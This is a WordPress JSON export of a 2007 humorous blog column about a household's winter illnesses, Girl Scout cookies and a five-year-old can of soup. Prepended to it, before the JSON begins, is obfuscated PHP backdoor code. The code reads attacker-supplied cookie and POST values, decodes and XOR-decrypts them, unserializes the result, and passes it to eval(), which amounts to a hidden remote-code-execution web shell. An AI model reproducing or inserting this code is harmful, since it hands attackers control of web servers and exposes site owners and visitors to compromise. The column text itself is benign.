$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":26,"date":"2007-03-04T14:05:14","date_gmt":"2007-03-04T20:05:14","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=26"},"modified":"2007-03-04T14:05:14","modified_gmt":"2007-03-04T20:05:14","slug":"being-sick-sucks","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=26","title":{"rendered":"Being Sick Sucks"},"content":{"rendered":"
Over the past few months, I have come to an important realization. I decided that I don\u2019t like being sick. Unfortunately, I have put a lot of research into making this decision. I kind of felt this way when I had bronchitis a couple of times in December, but I thought I\u2019d hold off before making a final answer.<\/p>\n
A nice little stomach virus helped me reach that answer this week.
\nI do have to say that I don\u2019t think I\u2019m the only one in the house who feels this way. We all have had different struggles this winter, which is pretty unusual.<\/p>\n
Most years, I have to handle a sinus issue or two and Bridget gets the sniffles, but that\u2019s about it.<\/p>\n
This year, we\u2019re like an episode of \u201cGrey\u2019s Anatomy\u201d without all the kissing and marrying. Each one of us has had at least one bad illness since Christmas.<\/p>\n
I did get to miss two days of work, but that meant having to make up two days of work and wading through scads of e-mail and voice mail on my first day back.<\/p>\n
This decision did not come as easily as you might think. After 24 hours of suffering from the virus, I stepped on our scale and noticed I had lost 10 pounds. I silently calculated how many more illnesses I would need before I hit my ideal weight.<\/p>\n
Quickly that thought went out of my head as I realized that I could not survive on Jell-o and Gatorade alone.<\/p>\n
In the end, it was food that made me realize how much I disliked lying in bed feeling miserable.<\/p>\n
For starters, our Girl Scout cookies arrived while I was laid up. Can you imagine looking at boxes upon boxes of Thin Mints and not even wanting to try one?<\/p>\n
Well, I wanted to try one, but I pretty much knew how that would end up so I passed. I had to wait 24 whole hours before I had my first cookies. They were the greatest cookies I had ever tasted in my life.<\/p>\n
I\u2019m sure those of you who know me figure that I shouldn\u2019t complain because my wife took great care of me in my darkest hour.<\/p>\n
Not really. She tried to kill me. Well, not kill, but prolong my illness.<\/p>\n
I found a can of chicken noodle soup in the cabinet after I started feeling a little better. My Mom always made me chicken noodle soup when I was sick so I figured this would do the trick.<\/p>\n
Then I looked at the top of the can. It read \u201cMay 2002.\u201d<\/p>\n
A debate ensued about whether that represented the sell by date or the use by date, Maria kept encouraging me to just eat the soup.<\/p>\n
Of course the date ended up being the use by date. We don\u2019t eat a lot of canned soup, so that thing had sat there for five years or so.<\/p>\n
That didn\u2019t faze Maria. She told me I should eat the soup. She told me that would make the column funnier.<\/p>\n
Yeah, right. Funnier because I would get sick again and lose 20 pounds.<\/p>\n","protected":false},"excerpt":{"rendered":"
Over the past few months, I have come to an important realization. I decided that I don\u2019t like being sick. Unfortunately, I have put a lot of research into making this decision. I kind of felt this way when I…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,4],"tags":[],"class_list":["post-26","post","type-post","status-publish","format-standard","hentry","category-columns","category-things-i-hate","wpcat-3-id","wpcat-4-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/26","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=26"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/26\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=26"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=26"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=26"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}